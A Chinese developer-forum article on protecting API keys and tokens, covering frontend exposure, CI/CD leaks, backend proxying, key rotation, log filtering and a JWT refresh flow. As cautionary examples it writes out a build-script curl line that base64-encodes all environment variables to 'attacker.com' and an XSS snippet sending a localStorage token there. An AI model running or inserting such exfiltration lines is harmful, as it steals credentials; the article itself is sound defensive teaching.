找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

862

积分

0

好友

108

主题
发表于 前天 03:47 | 查看: 9| 回复: 0

图片

有一个问题我问过很多工程师:你怎么管理API Key的?

最常见的回答是:“放在.env文件里啊,然后写到.gitignore里。”

然后我继续问:“那你确定它没有通过其他途径泄露出去吗?”

通常这时候会有一阵沉默。

问题的本质:为什么.env文件不是终点

假设你在字节跳动做一个后端服务,需要调用第三方API。你把Secret Key放在.env文件里,感觉很安全——毕竟源代码版本控制系统肯定不会暴露这个文件对吧?

但这只是表面的安全。

一个业界开源项目曾经爆出这样的事:开发者把Firebase密钥写在React项目里(他以为Firebase有安全规则可以保护),结果一周内就被攻击者用这个公开的密钥向Firestore狂写垃圾数据,账单直接爆炸。那不是Firebase的问题,那是开发者的问题。

问题出在这里:密钥管理不只是‘不要提交到Git’,而是一整套环节的安全链路。这条链路包括本地开发、构建过程、部署流程、日志记录、甚至CI/CD环境变量。任何一个环节出错,都会导致全局失败。

第一死穴:你以为分离了,其实没有

让我们从API Token的本质开始说起。

API Token不是密码。它是一个授权凭证,用来告诉服务器“我是谁”和“我能做什么”。最关键的是——它分为两种

┌─────────────────────────────────────────────┐
│         API 授权体系的两层设计              │
├─────────────────────────────────────────────┤
│                                             │
│  Access Token (短期)                        │
│  ├─ 有效期:15分钟 ~ 1小时                 │
│  ├─ 用途:直接调用API                      │
│  └─ 泄露风险:有限(因为很快过期)        │
│                                             │
│  Refresh Token (长期)                       │
│  ├─ 有效期:7天 ~ 数月                     │
│  ├─ 用途:用来换新的Access Token           │
│  └─ 泄露风险:致命(可以无限生成新Token) │
│                                             │
└─────────────────────────────────────────────┘

为什么要这样分?叫最小权限原则(Principle of Least Privilege)。

你的直观理解可能是:一个Token就够了,为什么还要两个?

但换个角度想:如果你的Access Token在某个地方泄露了(比如日志输出、错误堆栈、浏览器网络标签),最坏的后果是什么?因为它15分钟后就过期了,攻击者的窗口很小。

可如果你的Refresh Token泄露了,那他就能源源不断地生成新的Access Token,从而无限期地控制你的账户。这才是真正的灾难。

很多开发者在这里就犯了第一个错误:用一个长期有效的Token做所有事情

比如你看很多团队的做法:

  • 本地开发用一套API Key
  • 测试环境再用一套
  • 生产环境又是一套
  • 然后三套Key都存了个十来年都不换

这叫“什么都没分离”。正确的做法应该是:

┌────────────────────────────────────────────────────┐
│  正确的Token分离策略                               │
├────────────────────────────────────────────────────┤
│                                                    │
│  环境隔离:                                        │
│  ├─ 本地开发 → dev-token (权限最小,随意换)      │
│  ├─ 测试环境 → test-token (只读权限)             │
│  └─ 生产环境 → prod-token (严格权限管理)         │
│                                                    │
│  权限隔离:                                        │
│  ├─ 你的服务只需要“读用户信息” → 只给这个权限    │
│  └─ 不需要“删除用户” → 根本别给这权限             │
│                                                    │
└────────────────────────────────────────────────────┘

这样做的好处是:某个Key泄露了,你的损失范围是可控的。

第二死穴:前端密钥的“假安全”陷阱

现在我们进入最容易踩坑的场景。

你在做一个React应用,需要调用某个API。代码长这样:

// ❌ 你可能会这样写
const API_KEY = "sk_live_51MvXQ3...";
fetch(`https://api.stripe.com/v1/charges`, {
  headers: {
    Authorization: `Bearer ${API_KEY}`
  },
  body: JSON.stringify(chargeData)
})

然后你告诉自己:“没关系,我只在内部使用,而且代码是压缩的。”

错了。用户打开浏览器的开发者工具 → 网络标签 → 一眼就能看到你的请求头里的Token。或者他查看网页源代码,搜索“sk_”,轻松找到你的密钥。

更细思极恐的是,即使你的代码是压缩的,这个密钥也能被找到。为什么?因为Token本身就是固定的字符串,压缩也改变不了。

这就是为什么框架(比如Next.js)会强制一个规则:

// ✅ Next.js中,这个前缀的变量会被自动嵌入客户端
NEXT_PUBLIC_API_URL=https://api.example.com
// ❌ 这个不会暴露给浏览器
STRIPE_SECRET_KEY=sk_live_...

但问题是,很多开发者不知道这个规则,或者太着急了:

// ❌ 悲剧的做法
const API_KEY = process.env.STRIPE_SECRET_KEY; // 直接用!

然后在Next.js中打包时,构建工具看到你用了process.env.STRIPE_SECRET_KEY,就把整个值内联进去了。结果生成的JS bundle里直接包含了你的Secret Key。

我看过太多GitHub上的开源项目就是这样泄露密钥的。有些repo甚至五年了,原主人删除了Token,但git历史记录永远不会消失。攻击者可以翻出历史提交找到那个密钥。

第三死穴:CI/CD流水线的隐形陷阱

这是最狡猾的。

你在GitHub上用GitHub Actions,或者在阿里云上用CodePipeline。正常流程是这样的:

代码提交 → 触发构建 → 运行测试 → 部署到生产

但这整个过程中,你的CI环境变量里装着你的所有密钥。为什么?因为部署脚本需要用这些密钥去调API,去上传文件,去发送通知。

现在假设有一个小哥贡献了一个PR,虽然看起来很无害,就是修改了一个样式。但实际上他在某个脚本里加了这一行:

# 隐藏在某个build脚本里
curl https://attacker.com/exfiltrate?secrets=$(env | base64)

或者更绝的,他修改了某个依赖的内容(比如你用的某个npm包的某个版本有漏洞)。CI流程一跑,你的所有环境变量——包括数据库密码、API密钥、AWS访问凭证——都被发送给攻击者了。

我要说的是:这种攻击实际上已经发生过了。npm生态里已经出现过好几次恶意包事件,就是通过这种方式窃取环境变量。

防守最好的做法是什么?不是“相信所有PR”,而是:

  1. 使用Secret Manager(如AWS Secrets Manager、HashiCorp Vault、Google Secret Manager)
  2. 不在CI日志里打印任何密钥(即使是一个片段)
  3. 定期轮换所有Token(如果某个CI机器被攻击了,假设所有从那里泄露的密钥都已经被黑客掌握)
  4. 限制Secret的访问权限(不是所有分支都能访问生产密钥,只有main分支可以)

正确的做法:后端作为密钥的“看门人”

让我给你展示一个实际可用的架构。

假设你在做一个SPA(单页应用),需要调用第三方API(比如支付服务、邮件服务)。

错误的流程:

浏览器 → 直接用密钥调用第三方API

正确的流程:

浏览器 → 你的后端API → 后端用密钥调用第三方API
          ↑
         后端保管所有密钥,浏览器永远不知道

代码怎么写?很简单:

// 前端代码(React)
async function processPayment(amount) {
  const response = await fetch('/api/payment/charge', {
    method: 'POST',
    body: JSON.stringify({ amount }),
    headers: { 'Content-Type': 'application/json' }
  });
  // 后端已经用密钥处理完了
  return response.json();
}
// 后端代码(Node.js + Express)
app.post('/api/payment/charge', async (req, res) => {
  const { amount } = req.body;
  // 密钥在这里,浏览器看不到
  const response = await fetch('https://stripe.com/v1/charges', {
    method: 'POST',
    headers: {
      'Authorization': `Bearer ${process.env.STRIPE_SECRET_KEY}`,
    },
    body: new URLSearchParams({
      amount: amount * 100, // Stripe用美分
      currency: 'usd'
    })
  });
  const result = await response.json();
  res.json(result);
});

这样做的好处:

  1. 浏览器永远看不到真实的密钥
  2. 密钥只在后端内存中,不会被序列化到网络上
  3. 即使浏览器被XSS攻击了,也只是能调你的API端点,而不是直接调用第三方服务

但这里有个陷阱:如果你的后端被黑了,那还是完蛋。所以你需要下一层防御。

第四层防御:Token的“活血期”

在字节或阿里这样的大厂,很多Team的做法是:不用永不过期的密钥

比如,你的Stripe密钥:

  • 不要配置成永不过期
  • 改为90天轮换一次
  • 轮换时生成新密钥,删除老的

这听起来很麻烦,但实际上自动化很容易。使用Secret Manager就能做到:

Secret Manager 自动生成新密钥 → 更新你的应用配置 → 删除旧密钥

整个过程可以完全自动化,而且不需要人工介入。

为什么这样做?因为即使某个密钥泄露了,攻击者的时间窗口有限。90天内发现问题,就能把损失降到最低。如果你用的是永不过期的密钥,泄露五年了都没人发现,后果可想而知。

最容易被忽视的泄露渠道

除了上面说的,还有一些隐藏很深的泄露方式:

1. 错误日志

很多开发者会这样写:

try {
  const result = await callThirdPartyAPI();
} catch (error) {
  console.error('API Error:', error);
  // ❌ 错误信息里可能包含完整Token!
}

有些API服务在返回错误时,会把你发送的请求headers原样返回回来。这样Token就在error对象里了。

正确的做法:

catch (error) {
  // ✅ 只记录必要信息,隐藏敏感数据
  console.error('API Error:', {
    status: error.status,
    message: error.message.substring(0, 100), // 截断
    tokenPrefix: error.headers?.authorization?.substring(0, 10) + '...'
  });
}

2. 错误堆栈跟踪服务

你用了Sentry来监控错误吧?默认配置下,Sentry会上传所有的变量值、Cookie、Headers。这意味着你的密钥可能就躺在Sentry的服务器上。

配置Sentry时记得:

Sentry.init({
  dsn: 'https://...',
  // ✅ 过滤敏感数据
  beforeSend(event) {
    // 删除包含token的字段
    if (event.request?.headers?.authorization) {
      delete event.request.headers.authorization;
    }
    return event;
  }
});

3. 浏览器缓存和LocalStorage

有人会这样存储Token:

// ❌ 大错特错
localStorage.setItem('authToken', jwtToken);

为什么不能这样?因为任何XSS漏洞都能直接读取:

// 攻击者的脚本
const token = localStorage.getItem('authToken');
fetch('https://attacker.com/steal?token=' + token);

正确的做法:用HTTP-only Cookie。这是一个HTTP标准,意思是JavaScript代码读不了这个Cookie,只有浏览器在发送请求时自动带上。

// 后端设置响应头
res.cookie('refreshToken', token, {
  httpOnly: true,    // ✅ JavaScript读不了
  secure: true,      // ✅ 只在HTTPS下发送
  sameSite: 'strict',// ✅ 防止CSRF
  maxAge: 7 * 24 * 60 * 60 * 1000 // 7天
});

完整的Token刷新流程(生产级实现)

让我给一个真实可用的例子。假设你用的是Node.js + Express + JWT:

1. 用户登录时:

app.post('/auth/login', async (req, res) => {
  const user = await User.findOne({ email: req.body.email });
  if (!user || !user.validatePassword(req.body.password)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  // 生成短期Access Token
  const accessToken = jwt.sign(
    { userId: user.id, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn: '15m' }  // ✅ 15分钟过期
  );
  // 生成长期Refresh Token,存在HTTP-only Cookie里
  const refreshToken = jwt.sign(
    { userId: user.id, tokenVersion: user.tokenVersion },
    process.env.JWT_REFRESH_SECRET,
    { expiresIn: '7d' }  // ✅ 7天过期
  );
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict'
  });
  // ✅ 只返回Access Token给前端
  res.json({ accessToken });
});

2. 前端发送请求时:

// 用Axios拦截器自动添加Token
axios.interceptors.request.use((config) => {
  const token = sessionStorage.getItem('accessToken');
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

3. Token过期时的自动刷新:

// Axios响应拦截器
axios.interceptors.response.use((response) => response,
  async (error) => {
    if (error.response?.status === 401) {
      try {
        // ✅ 后端验证Refresh Token(自动通过Cookie发送)
        // 浏览器会自动带上httpOnly Cookie
        const { accessToken } = await axios.post('/auth/refresh');
        // 保存新的Access Token
        sessionStorage.setItem('accessToken', accessToken);
        // 重试原请求
        return axios(error.config);
      } catch (refreshError) {
        // Refresh也失败了,说明用户需要重新登录
        redirectToLogin();
      }
    }
    return Promise.reject(error);
  });

4. 后端的刷新端点:

app.post('/auth/refresh', (req, res) => {
  // ✅ Refresh Token自动从Cookie中读取
  const refreshToken = req.cookies.refreshToken;
  if (!refreshToken) {
    return res.status(401).json({ error: 'No refresh token' });
  }
  try {
    const payload = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);
    const user = User.findById(payload.userId);
    // ✅ 检查token版本,防止旧Token继续使用
    if (payload.tokenVersion !== user.tokenVersion) {
      return res.status(401).json({ error: 'Token revoked' });
    }
    // 生成新的Access Token
    const newAccessToken = jwt.sign(
      { userId: user.id, role: user.role },
      process.env.JWT_SECRET,
      { expiresIn: '15m' }
    );
    res.json({ accessToken: newAccessToken });
  } catch (error) {
    res.status(401).json({ error: 'Invalid refresh token' });
  }
});

为什么这个设计更安全?

访问token过期了
    ↓
前端不知道(因为sessionStorage是内存的,刷新就没了)
    ↓
前端向/auth/refresh发送请求
    ↓
浏览器自动带上httpOnly cookie里的refreshToken
    ↓
后端验证刷新token,返回新的accessToken
    ↓
前端继续工作
    ↓
用户什么都没感觉到

即使浏览器被XSS攻击了,攻击者也:

  • ✅ 能看到短期的Access Token(但只有15分钟有效期)
  • ❌ 看不到Refresh Token(HTTP-only)
  • ❌ 看不到后端的JWT Secret(只在后端)

对于开源项目的特殊建议

如果你维护开源项目,一定要注意:

  1. 使用.env.example文件
# .env.example
STRIPE_PUBLIC_KEY=pk_test_...  # 这个是公开的,没关系
STRIPE_SECRET_KEY=sk_test_...  # 用假的值做示例
DATABASE_URL=postgres://user:pass@localhost:5432/db_test
  1. CI中检查密钥泄露

使用工具如TruffleHog或GitGuardian来扫描提交:

# 在CI中添加这个检查
trufflehog git https://github.com/yourname/yourrepo --json
  1. GitHub Secret Scanning

启用GitHub的Secret Scanning功能,它会自动检测常见的密钥格式。

现实中的惨痛教训

我见过最离谱的案例是这样的:

某个开发者A在GitLab上有个private repo,里面有数据库密码和API密钥。后来repo转移给开发者B接手。开发者B心想反正是private repo,就没太关注。

六个月后,这个项目意外开源了(可能是某个管理员误操作)。三年里,那个repo的git历史里的所有密钥都被黑客掌握了。直到某天突然有大量不正常的数据库查询,才被发现。

另一个案例是个startUp,创始人把产品API Key写在演示视频的截图上。结果这个视频被分享到YouTube,几小时内就被抓取,密钥被滥用。

检查清单:你的Token管理有多安全

  • [ ] 使用了环境变量,且没有commit .env文件
  • [ ] 明确区分了环境(dev/test/prod)的Token
  • [ ] 前端代码里完全没有任何密钥
  • [ ] 使用HTTP-only Cookie存储敏感的Refresh Token
  • [ ] 实现了Token自动刷新机制
  • [ ] 定期轮换密钥(至少每90天)
  • [ ] 使用了Secret Manager而不是纯文本配置
  • [ ] 所有API调用都走后端中间层,不是浏览器直连
  • [ ] 日志不会输出完整的Token(最多显示前几个字符)
  • [ ] 使用了错误日志服务(Sentry等)且配置了敏感数据过滤
  • [ ] CI/CD流程中限制了Secret访问权限
  • [ ] 发现泄露时有应急预案(知道怎么快速轮换密钥)

最后说一句

99%的Token泄露不是因为神奇的hacker技术,而是因为开发者在某个Tuesday的下午,太累了,图方便,就把密钥hardcode了。或者在debug时忘记了要过滤日志。或者把整个.env文件commit了因为git命令敲错了。

安全不是一个特性,是个习惯

一旦你养成了正确的习惯——自动扫描Secret、定期轮换、永远走后端中间层——就会像你现在写条件语句那样自然。

下次你接触API密钥时,问自己一个问题:如果这个密钥明天被黑客拿到,会发生什么坏事?如果答案让你害怕,那就说明你需要重构这部分代码。




上一篇:小程序开发技术变现困境:为何独立开发者难以复刻微信生态?
下一篇:React useEffect依赖数组详解:闭包陷阱与无限循环的根源
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 20:13 , Processed in 0.155597 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表